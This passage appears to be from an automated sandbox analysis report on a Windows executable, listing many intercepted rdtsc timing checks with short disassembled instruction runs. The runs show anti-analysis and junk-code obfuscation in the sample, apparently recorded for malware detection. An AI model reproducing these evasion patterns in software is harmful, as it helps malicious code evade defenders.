Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FCD1 second address: E0FCDA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FDB3 second address: E0FDB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E0FDB8 second address: E0FDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F1504B42018h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E13CC8 second address: E13CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E15BDB second address: E15BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1A775 second address: E1A77B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1EF8E second address: E1EF9B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1EF9B second address: E1EFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1EFA1 second address: E1EFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1E9C5 second address: E1E9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1504DFF446h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F1504DFF446h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1E9DC second address: E1E9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1E9E0 second address: E1E9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E1E9E6 second address: E1E9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E213A3 second address: E213C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1504DFF44Bh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jnp 00007F1504DFF44Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E23A09 second address: E23A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B42027h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E23A25 second address: E23A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E23A2B second address: E23A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E23B02 second address: E23B3D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1504DFF446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jmp 00007F1504DFF44Dh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F1504DFF44Ah 0x0000001a mov eax, dword ptr [eax] 0x0000001c jns 00007F1504DFF44Ah 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push edi 0x00000027 push edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E23BBB second address: E23BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB5B59 second address: DB5B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB5B5F second address: DB5B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42028h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E29476 second address: E2947C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2947C second address: E29492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B4201Ch 0x00000009 popad 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E29492 second address: E2949A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2949A second address: E294C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pushad 0x0000000a jmp 00007F1504B4201Ah 0x0000000f jmp 00007F1504B4201Fh 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E29B77 second address: E29B7D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E29CE9 second address: E29D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42022h 0x00000007 js 00007F1504B42018h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F1504B42035h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A1E3 second address: E2A1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A1E7 second address: E2A200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B4201Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jg 00007F1504B42030h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A646 second address: E2A64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A64A second address: E2A64E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A64E second address: E2A66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 jmp 00007F1504DFF453h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2A66C second address: E2A672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E30418 second address: E30423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E30423 second address: E30439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1504B4201Bh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2EDDA second address: E2EDDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2EDDE second address: E2EDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2EDE7 second address: E2EDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F1504DFF446h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F1504DFF446h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2EDFC second address: E2EE15 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1504B42016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F1504B4201Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2F378 second address: E2F380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2F380 second address: E2F384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2F384 second address: E2F3B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F1504DFF44Ah 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F1504DFF455h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FAA4 second address: E2FAAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FAAC second address: E2FAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FAB0 second address: E2FABA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1504B42016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FBE4 second address: E2FBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FBE8 second address: E2FC0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504B42029h 0x00000007 jne 00007F1504B42016h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FC0B second address: E2FC25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1504DFF454h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FC25 second address: E2FC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E2FDD3 second address: E2FDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E33AED second address: E33AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E33AF1 second address: E33B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF44Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E33B06 second address: E33B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1504B42016h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF3A32 second address: DDA335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1504DFF459h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov edi, dword ptr [ebp+122D2AD2h] 0x00000018 lea eax, dword ptr [ebp+1247E828h] 0x0000001e add ch, 00000000h 0x00000021 push eax 0x00000022 jnc 00007F1504DFF45Eh 0x00000028 mov dword ptr [esp], eax 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F1504DFF448h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 sbb di, 88B6h 0x0000004a call dword ptr [ebp+122D189Bh] 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 jp 00007F1504DFF446h 0x00000059 jmp 00007F1504DFF453h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF3C87 second address: DF3C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF3C8D second address: DF3C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF3C91 second address: DF3C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF413A second address: DF4181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1504DFF458h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a add dword ptr [esp], 7C66C467h 0x00000011 mov ch, dh 0x00000013 push C9DEE55Fh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1504DFF459h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF426F second address: DF4273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF4400 second address: DF4406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF4406 second address: DF440A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF45D7 second address: DF466E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jng 00007F1504DFF45Fh 0x0000000c jmp 00007F1504DFF459h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F1504DFF448h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c xor dword ptr [ebp+122DB6DEh], edi 0x00000032 push 00000004h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F1504DFF448h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e movsx edx, dx 0x00000051 add edx, dword ptr [ebp+122D1C22h] 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F1504DFF455h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DF4B01 second address: DF4B06 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E38082 second address: E3808C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1504DFF44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3835C second address: E38360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E38360 second address: E3836B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3836B second address: E3838B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B42027h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3838B second address: E38390 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3888D second address: E3889A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F1504B42016h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3B170 second address: E3B174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB238A second address: DB238E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB238E second address: DB239C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1504DFF44Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB239C second address: DB23B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1504B42023h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB23B7 second address: DB23D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1504DFF44Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jnl 00007F1504DFF446h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DB23D6 second address: DB23F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1504B42021h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3F9FB second address: E3FA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F1504DFF453h 0x00000010 jp 00007F1504DFF446h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FA20 second address: E3FA37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1504B42020h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FA37 second address: E3FA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FA42 second address: E3FA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504B4201Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FD62 second address: E3FD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FD68 second address: E3FDB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1504B4202Ch 0x0000000c pushad 0x0000000d jmp 00007F1504B42023h 0x00000012 jmp 00007F1504B4201Fh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FDB1 second address: E3FDBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FDBB second address: E3FDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E3FF20 second address: E3FF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1504DFF44Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E40799 second address: E4079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DBAB31 second address: DBAB45 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F1504DFF446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F1504DFF446h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: DBAB45 second address: DBAB51 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1504B42016h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E45819 second address: E4581D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E4581D second address: E45823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48BAE second address: E48BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1504DFF446h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8WRONDszv4.exe	RDTSC instruction interceptor: First address: E48464 second address: E48470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1504B42022h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
